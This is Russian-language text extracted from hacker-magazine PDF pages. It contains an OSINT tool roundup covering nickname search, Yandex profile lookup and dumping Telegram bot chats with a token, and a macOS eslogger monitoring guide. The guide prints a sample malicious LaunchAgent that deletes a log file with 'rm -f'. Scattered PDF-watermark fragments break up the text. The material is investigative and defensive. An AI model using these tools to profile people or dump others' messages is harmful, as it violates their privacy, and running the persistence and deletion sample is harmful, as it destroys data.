YaSeeker позволяет получить информацию о любой учетной записи Yandex. Нужно просто ввести никнейм пользователя, а скрипт сделает все сам. Получается неплохой инструмент для поиска человека по никнейму, если ты знаешь, что у него есть учетная запись Яндекса.

Устанавливать все утилиты из этого обзора я буду на Kali Linux, но в других дистрибутивах семейств Debian и Ubuntu установка вряд ли будет отличаться.

Качаем YaSeeker с GitHub и ставим зависимости.

git clone https://github.com/HowToFind-bot/YaSeeker.git

cd YaSeeker

pip install -r requirements.txt

Установка YaSeeker

Поскольку Яндекс не очень любит отдавать данные кому попало (по крайней мере официально), нужно подкинуть инструменту файлы cookies, чтобы тот притворился реальным пользователем. Для этого можно зарегистрировать любой одноразовый аккаунт Яндекса и установить расширение для загрузки файлов cookies в формате Netscape.

Расширение cookies.txt доступно для Chrome и Firefox. Но не обязательно использовать именно его — просто поищи в магазине расширений «get cookies txt».

С включенным расширением переходим на Яндекс и сохраняем cookies.txt (если расширение спросит, для какого сайта сохранять кукисы, выбирай Current Site). Удобнее всего будет сразу сохранить файл в каталог YaSeeker. Назвать его нужно именно cookies.txt, потому что настроить путь к файлу с куками нельзя.

Сохраняем cookies

Теперь, когда печеньки для работы есть, можем применять скрипт. Просто запусти его через python3 и передай аргументом имя пользователя, о котором хочешь узнать побольше.

Кто-то с ником login

Инструмент выводит информацию о сервисах Яндекса, которыми пользуется владелец учетной записи. Для расследований в русскоязычном сегменте интернета YaSeeker может очень пригодиться, и будет нелишним включить его в свою коллекцию. Особенно если автоматизировать его запуск вместе с подобными инструментами из одного скрипта.

2. ENOLA HOLMES

Enola — это аналог куда более широко известного инструмента Sherlock. Авторы утилиты гордо назвали ее в честь сестры Шерлока — Энолы Холмс. Этот вариант написан на Go и работает несколько быстрее.

Enola умеет искать пользователей по никам на чуть менее чем 400 сервисах и имеет куда более приятный интерфейс, чем Sherlock.

Установка доступна в двух вариантах: простом и для любителей языка Go. Я себя отношу ко вторым, поэтому позволю себе чуть более длинный путь.

Сначала нужно клонировать репозиторий:

git clone https://github.com/TheYahya/enola.git

Затем переходим в директорию enola/cmd/enola и собираем бинарник командой go build.

Появится исполняемый файл enola, который можно запустить: ./enola.

Альтернативный способ установки тоже требует наличия Go (версии не ниже 1.19), но делается всего в одну команду:

go install github.com/theyahya/enola/cmd/enola@latest

Теперь можно запустить Enola и посмотреть, как она справится с поиском случайного ника из какого-то чата.

Результаты поиска

Как видишь, пользоваться легко, а подсказки по всем хоткеям доступны на нижней панели. Еще из преимуществ — запускается просто, очень быстро, а результаты выводятся мгновенно.

3. TELEGRAM-BOT-DUMPER

Этот инструмент весьма пригодится, когда в твоих руках оказался токен бота в Telegram, — например если ты расследуешь заражение каким-то вредоносом, который управлялся как Telegram-бот. Скрипт достанет переписки всех пользователей с ботом, включая не только текстовые сообщения, но и все медиафайлы. Так что Telegram-bot-dumper — не только инструмент OSINT, но и просто полезная в жизни штуковина.

Для работы потребуется получить API_ID и API_HASH приложения для Telegram, поэтому желательно создать левый аккаунт — осторожность не бывает лишней. Ты же не хочешь, чтобы в случае чего в бан полетел твой личный акк?

Инструмент скачиваем и устанавливаем, как любое Python-приложение: клонируем репозиторий, переходим в его каталог и ставим зависимости.

git clone https://github.com/soxoj/telegram-bot-dumper

cd telegram-bot-dumper

pip install -r requirements.txt

Перед запуском нужно открыть файл dumper.py любым редактором и поменять переменные API_ID и API_HASH на свои.

Установка Telegram-bot-dumper

Запускаем:

python3 dumper.py --token <токен>

Скрипт скачает всю историю, до какой сможет дотянуться, и останется слушать новые сообщения. Чтобы остановить его, достаточно нажать Ctrl-C.

История скачалась

К сожалению, инструмент не умеет сам определять, когда пользователь удалил часть сообщений, и может сдампить не всю историю. Чтобы это исправить, используй параметр --lookahead N, где N — количество пачек по 200 сообщений (по умолчанию), которые инструмент попробует сдампить дополнительно. Обрати внимание, что удаленные сообщения таким образом достать все равно не получится, но есть шанс получить более ранние.

Скрипт полезен как минимум для того, чтобы оценивать масштаб бедствия (объем украденных при атаке данных), а в случаях атак с управлением через Telegram-бота — еще и восстановить хронологию.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ТРЮКИ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

c

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

 

СОБИРАЕМ ИНСТРУМЕНТАРИЙ СЕТЕВОГО РАЗВЕДЧИКА

4. SOCID-EXTRACTOR

Socid-extractor позволяет выгружать информацию о профиле из многих сервисов, которые поддерживает Enola, но делает это с уровнем подробностей как у YaSeeker. Отображается много деталей, а не просто факт регистрации пользователя в каком-то сервисе.

Важный момент: API самих сервисов обычно не используются, поэтому объем информации, конечно, поменьше, чем мог бы быть, зато сам скрипт работает очень быстро и не требует утомительной настройки с получением API-ключей от сотен сервисов.

Socid-extractor имеет смысл запускать в связке с другими подобными инструментами — вроде того же YaSeeker.

Устанавливается Socid-extractor все так же:

git clone https://github.com/soxoj/socid-extractor

cd socid-extractor

pip install -r requirements.txt

Теперь мы можем просмотреть информацию об интересующем нас человеке. Для примера можно взять «Вконтакте».

Инструмент вывел фамилию, имя, дату регистрации и последнего обновления, информацию о том, активен ли аккаунт и является ли он приватным. Для первого подхода к сбору данных вполне достаточно.

5. TELANALYSIS

На сладкое у меня есть интересный инструмент для анализа чатов в Telegram. Если точнее, TelAnalysis анализирует файл истории чата и выполняет все действия без участия API и приложения Telegram, как это обычно бывает в скриптах, которые работают с данными Telegram.

Читай также: «Парсим телегу. Как собирать имена участников чатов в Telegram

TelAnalysis выполняет в основном статический анализ чата: создает список

играф самых активных участников, выводит топ самых частых слов в чате

иоблако тегов (картинку, где слова записаны разным размером в зависимости от популярности). Также он умеет выводить общую информацию о каждом пользователе. Дополнительно можно сгенерировать топ слов каждого отдельного пользователя, чтобы понять, кто чем интересуется.

Выглядит интерфейс этого замечательного инструмента немного не так, как у всех предыдущих: в консоли у него обитает только сам сервер, а взаимодействие с пользователем устроено через браузер.

Ставим TelAnalysis традиционным способом и запускаем файл main.py:

git clone https://github.com/krakodjaba/TelAnalysis.git

cd TelAnalysis

pip install -r requirements.txt

python3 main.py

Консольный интерфейс крайне минималистичный

В консоль скрипт выплюнет только ссылку на панель управления. Если перейти по ней, в браузере откроется минималистичный интерфейс. Достаточно загрузить в него JSON-дамп чата, который ты хочешь проанализировать.

Веб-интерфейс тоже не перегружен

Создать сам JSON-дамп крайне просто: заходишь в официальный клиент Telegram, находишь интересующий тебя чат, жмешь троеточие в правом верхнем углу и выбираешь «Экспорт истории». В настройках экспорта (на скриншоте ниже) выбираешь формат JSON и путь для сохранения. Экспортировать файлы, картинки и твои любимые голосовые не нужно — TelAnalysis принимает только текст, так что на остальное ты только зря потратишь время.

Настройки экспорта

Теперь сохраняем экспортированный файл в удобном месте и загружаем его в панель.

Список пользователей показывает, кто и сколько написал в группе, а еще содержит ID, чтобы можно было отслеживать сообщения одного и того же человека, даже если он поменяет ник.

Количество сообщений каждого участника группы

Граф выглядит не супер, но связи между пользователями видны.

Граф связей между пользователями

Сгенерируем теперь облако тегов. Тоже выглядит не очень, в первую очередь потому, что служебные слова не удалены. Впрочем, это легко исправить. Если соберешься, не забудь отправить автору пул-реквест.

Облако тегов

Последняя функция — показ сообщений по ID пользователя. Лично я пока не нашел этому применения, ведь в Telegram есть более удобный поиск по отправителю.

ВЫВОДЫ

Рассмотренные сегодня инструменты, конечно, не единственные в своем роде, и возможно, что ты знаешь тулзы еще лучше и полезнее. В таком случае не стесняйся закинуть ссылочку нам на почту (контакты — ниже) или пиши в комментариях. Любой фидбэк будет ценным, а там, глядишь, насобираем еще на один выпуск такой подборки.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

АДМИН

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ОТСЛЕЖИВАЕМ СИСТЕМНЫЕ СОБЫТИЯ В MACOS

Можно бесконечно наблюдать за тремя вещами: горящим огнем, текущей водой и событиями в операционной системе. И если в Windows средства мониторинга и журналирования уже хорошо изучены пользователями и системными администраторами, то в macOS с этим не все так просто. Сегодня мы поговорим о бесплатных инструментах отслеживания событий в «маке» и их практическом применении.

Михаил Онищенко tofolt@icloud.com

Как мы привыкли к событиям Windows… С ними все понятно, в сети доступно огромное количество материалов о настройке централизованного сбора событий с использованием Windows Event Forwarding. Многие гайды предлагают пошаговые инструкции с ответами на вопросы из серии «Сколько WEC (Windows Event Collector) нужно для парка в 4000 машин?».

Однако крайне мало внимания уделяется компьютерам на базе macOS. Причины очевидны: немногие организации сейчас готовы закупать «маки» для своих сотрудников. Это дорого, непонятно, как эти машины администрировать, возникает ворох проблем с совместимостью. Кроме того, на рынке доступно не так много специалистов, которые знают, как обуздать эту операционную систему и как обезопасить ее, ведь для macOS также существуют угрозы. Однако решение проблемы с мониторингом есть, и оно уже встроено в систему, начиная с версии 10.15 Catalina.

СПОСОБЫ МОНИТОРИНГА

Всего существует три способа мониторинга событий в macOS:

1.Коммерческий EDR.

2.Osquery.

3.Eslogger (ESF).

Опоследнем мы и поговорим, попытавшись разобраться, как устроен этот инструмент.

Ранее для мониторинга событий в macOS использовалась подсистема аудита OpenBSM. Она была разработана компанией McAfee Research по индивидуальному заказу Apple в 2004 году. Позднее исходный код передали в TrustedBSD для нужд комьюнити. Этот инструмент был убран из macOS в версии Big Sur и больше не поддерживается.

Endpoint Security Framework (ESF) — это нативный компонент macOS, который служит для проактивного поиска событий и реагирования на них. Инструмент позволяет подписываться на события Noti cation и Authorization. Принцип его работы можно сравнить с Event Tracing For Windows (ETW). Он позволяет просматривать низкоуровневые события, связанные с процессами, файлами, немного с сетью и памятью, а также много чего еще!

КАК ЭТО РАБОТАЕТ?

Раньше, если какая-то компания бралась за разработку решения Endpoint Security, ей приходилось делать так называемое Kernel Extension (модуль для ядра). Примерами таких решений служат OpenBSM, Kauth KPI, MAC Framework. Решения на базе Kernel Extension было тяжело разрабатывать и поддерживать. Незначительные баги могли привести к kernel panic,

анесовершенный код пробивал новые дырки в безопасности macOS.

ВApple это прекрасно понимали и поэтому в 2019 году (лучше поздно, чем никогда) заменили Kernel Extensions, которые работали в пространстве ядра, System Extensions, которые работают в пользовательском пространстве. Теперь у разработчиков развязаны руки. Все стало гораздо удобнее.

Хотя Kernel Extensions уже устарели, они все еще могут использоваться в современных macOS — но с оговоркой, что профиль безопасности системы должен быть сильно снижен. Добиться этого бывает очень сложно, и обычно это делается исключительно в целях разработки. Если производители не заменят кексты системными расширениями, они могут поставить под угрозу безопасность систем своих клиентов.

Актуальная схема работы Endpoint Security

Существует два типа событий: Notification и Authorization. Они оба предоставляют одинаковую информацию, но между ними все же есть разница.

Notification — этот тип нужен для информирования об активности. Пример: запуск бинаря.

Authorization — этот тип нужен для блокирования активности. Пример: при наступлении события ядро стучится в System Extension антивирусного ПО для проверки, можно ли запускать процесс. Если ответа нет, то процесс прибивается на месте, так и не запустившись в пользовательском пространстве.

Схема работы Endpoint Security

Существует огромное количество событий, на которые можно подписаться, чтобы получать информацию о том, что происходит в системе в реальном времени.

На сайте для разработчиков Apple есть полный список событий с описанием, какую информацию содержит каждое из них.

RED CANARY MAC MONITOR

Одна из немногих компаний, которая занимается в том числе и безопасностью macOS, — Red Canary. В мае 2023 года она выпустила утилиту под названием Mac Monitor. Эта программа отлично подойдет для демонстрации того, как вообще выглядят события ESF и как с ними можно работать. Также она будет очень полезна тем, кто проводит live response в системе.

В настройках можно установить фильтры и подписки на конкретные типы событий.

Mac Monitor

Так выглядит событие запуска команды curl после парсинга.

Тут мы можем увидеть события, которые относятся к главному событию.

А вот процесс-инициализатор.

Событие запуска команды curl в сыром виде.

Загрузить утилиту можно по ссылке с GitHub.

Только для live response

Для реализации полноценного мониторинга Red Canary Mac Monitor нам не подойдет по следующим причинам:

1.Это приложение придется раскатывать по всем системам.

2.Хакер может легко прибить этот процесс.

3.Его, как приложение, проблематично замаскировать и поставить в бэкграунд.

4.Утилита собирает далеко не все типы событий и многое упускает из виду.

Следующий инструмент — хорошая бесплатная альтернатива вендорскому EDR. Скажу по секрету, коммерческие EDR под капотом поголовно используют ESF.

НУ И КАК ЖЕ МОНИТОРИТЬ?

Перейдем к нативным средствам. Утилиты вроде Red Canary Mac Monitor используют Endpoint Security API и делают упор на визуализацию и красоту. Решение, которое мы запряжем в наш SOC, ориентируется на нативность, полноту и безопасность.

Это eslogger, утилита командной строки, она предоставляет прямой доступ непосредственно к генерируемым ядром событиям и поставляется со всеми версиями macOS выше Ventura. Этакий поисковик среди событий.

Плюсы eslogger:

уже есть на каждой macOS Ventura;

не грузит систему при использовании;

выдает лог в текстовом формате, а не бинарном;

дает отличную видимость активности.

Сначала мы посмотрим список событий, на которые можно подписаться:

sudo eslogger --list-events

Эта команда выведет нам внушительный список. Приведу примеры:

Название

create

open

write

unlink

utimes

exec

uipc_connect

kextload

btm_launch_item_a dd

ПРАКТИКА

Полное название

es_event_create_t es_event_open_t es_event_write_t es_event_unlink_t

es_event_utimes_t

es_event_exec_t

es_event_uipc_connect _t

es_event_kextload_t

btm_launch_item_add

Функции

Создание файла

Открытие файла

Запись в файл

Удаление файла

Изменение параметров access time

и modi cation time файла

Запуск процесса

Подключение через сокет

Загрузка Kernel Extension

Создание нового

объекта входа (Launch Item)

Переведем наши упражнения в практическую плоскость и применим их для решения конкретной задачи. В директории Logs лежит файл xakep.ru2023.log. Туда записываются чрезвычайно важные данные.

На компьютер Mac попал надоедливый вредоносный скрипт, который прописался как задача в /Library/LaunchAgents/ и постоянно, каждые пять минут, удаляет лог, который лежит в директории Logs. Надоел уже!

Файл задачи с расширением .plist выглядит так:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www. apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0"> <dict>

<key>Label</key> <string>com.hacker.annoying.task</string> <key>ProgramArguments</key>

<array> <string>/bin/sh</string>

<string>/Users/tofolt/Downloads/DeleteLogFile.sh</string> </array>

<key>StartInterval</key> <integer>300</integer>

</dict>

</plist>

А сам скрипт так:

rm -f "/Users/tofolt/Logs/xakep.ru-2023.log"

Чтобы отловить этот скрипт, нам понадобится следующая команда eslogger:

sudo eslogger exec open unlink btm_launch_item_add >> result.json

Предположим, что у нас уже писались логи в момент заражения. Нам не составит труда найти событие добавления скрипта в автозапуск. Большая часть события была отброшена, оставлены только главные строки. В оригинальных событиях много информативных полей, в том числе и очень полезных для связывания событий друг с другом (btm_launch_item_add):

{

"event": { "btm_launch_item_add": {

"executable_path": "/bin/sh", "instigator": {

"signing_id": "com.apple.xpc.smd", "ppid": 1,

"tty": null,

"start_time": "2023-07-09T10:17:55.546995Z", },

"item": {

"item_url": "file:///Library/LaunchAgents/com.hacker. annoying.task.plist",

}

}

},

"time": "2023-07-09T14:08:03.326637707Z",

}

Далее мы найдем момент запуска скрипта (exec):

{

"event": { "exec": {

"script": {

"path": "/Users/tofolt/Downloads/DeleteLogFile.sh", },

"executable": { "path": "/bin/sh",

},

"start_time": "2023-07-09T14:33:56.804354Z", "is_platform_binary": true,

"group_id": 22017, "audit_token": {

"asid": 100005, "pidversion": 49567, "ruid": 503, "euid": 503, "rgid": 20,

"auid": 503, "egid": 20, "pid": 22017

},

}, "args": [

"/bin/sh", "/Users/tofolt/Downloads/DeleteLogFile.sh"

],

},

"time": "2023-07-09T14:33:56.814464013Z", "action": {

"result": { "result": {

"auth": 0 },

"result_type": 0

}

}

Финальный аккорд. Событие удаления файла xakep.ru-2023.log (unlink).

{

"event": { "unlink": {

"target": {

"path": "/Users/tofolt/Logs/xakep.ru-2023.log", },

"parent_dir": {

"path": "/Users/tofolt/Logs",

}

}

},

"time": "2023-07-09T14:34:57.713064962Z", "executable": {

"path": "/bin/rm",

},

"ppid": 22069, },

"start_time": "2023-07-09T14:34:57.704093Z",

}

В общем, при наличии логов отыскать требуемое событие и получить сведения о нем довольно просто.

KILL THEM ALL

Как обезопаситься от того, что хакер просто прибьет процесс eslogger командой kill?

Например, можно создать новую учетку на компьютере и назвать ее с нижним подчеркиванием _brew, добавить привилегии, чтобы обычный пользователь не мог прибить процессы, запущенные от ее имени. Ожидается, что хакер, когда захочет узнать всех пользователей в системе, отфильтрует вывод, убирая записи с нижними подчеркиваниями, потому что так называются системные учетки для внутреннего функционирования системы. А даже если он выведет все учетные записи, _brew замаскируется под пакетный менеджер, который стоит почти на каждом «маке» программиста. Таким образом мы и защитимся от команды kill.

Ну или второй вариант — назвать _ftp_server. Это объяснит столь высокие системные полномочия у учетки.

ИСПОЛЬЗОВАНИЕ В ИНФРАСТРУКТУРЕ

Как все это разворачивать?

Конкретную пошаговую инструкцию выдать не получится просто потому, что у всех разные инфраструктуры и очень по-разному администрируются «маки», но подкинуть пару идей я могу.

1.У тебя наверняка есть ПО для управления Mac по типу Jamf Pro. Ты можешь создать запланированную задачу, запускающую скрипт пересылки данных из файла собранных логов.

2.Если у тебя есть какой-то агент на компьютерах, то проверь, не может ли он собирать дополнительно и файл логов.

3.Обязательно нужно настроить ротацию файла с логом, чтобы после пересылки, например, в SIEM, он чистился, иначе он может довольно быстро вырасти до существенных размеров.

Вeslogger может возникнуть проблема бутылочного горлышка, если подписать инструмент на слишком большое количество событий. Все они просто не будут успевать сохраняться в журнал. В интернете описывают эту проблему и рассказывают, как ее лечить.

Какова нагрузка на систему? Незначительная. Однако EPS может быть большим, если должным образом не настроить фильтрацию событий.

Напоминаю, что решение бесплатное и всех удобств «из коробки» не гарантирует. Фильтрация тут обязательна.

НОРМАЛИЗАЦИЯ И ФИЛЬТРАЦИЯ

Сразу уточню, что предложенный ниже вариант лишь вариация на тему «как это можно делать». Итак, для нормализации будем использовать инструмент под названием fx. Для фильтрации возьмем другой инструмент — jq.

Приведем JSON в нормальный вид с помощью скрипта на Python 3:

import sys out: str = "["

lines = sys.stdin.readlines()

for index, line in enumerate(lines): if index == len(lines)-1:

out += "{}".format(line)

else:

out += "{}{}".format(line, ",") out += "]"

print(out)

Наполненный логами файл мы прогоним через наш нормализатор:

cat eslogger_output.json | ./normalizer.py | fx . > better_eslogger_

output.json

Нормализованный файл теперь необходимо отфильтровать. Я, например, исключу все события, связанные с процессом Finder:

cat better_eslogger_output.json | jq '[.[] | select(.process.

signing_id == "com.apple.finder" )]' > eslogger_final.json

Подскажу пути, которые можно (точно так же, как и Finder) исключить из захвата через eslogger, чтобы не создавать мусор. Многие из путей могут показаться важными для мониторинга. Однако в 2015 году Apple добавила механизм System Integrity Protection (SIP), а позже, в 2019-м, разделила диск на защищенный и незащищенный разделы. SIP предохраняет системные критически важные директории от вмешательства, и поэтому злоумышленник не сможет ничего изменить в них, если только ты не отключил SIP вручную. Поэтому и мониторить их не нужно. Найти список путей для исключения можно в моем репозитории.

ВЫВОДЫ

Мы рассмотрели работу ESF, узнали о решениях, которые дают доступ к низкоуровневым событиям в системе, а также об особенностях работы с ними. Хоть утилита eslogger и классная, но она не лишена недостатков. Приходится применять заплатки, чтобы это заработало в масштабах SOC, но зато eslogger не требует денег и не уступает в 90% случаев коммерческим EDRрешениям (видимость сетевых подключений там, конечно, гораздо лучше).

Соседние файлы в папке журнал хакер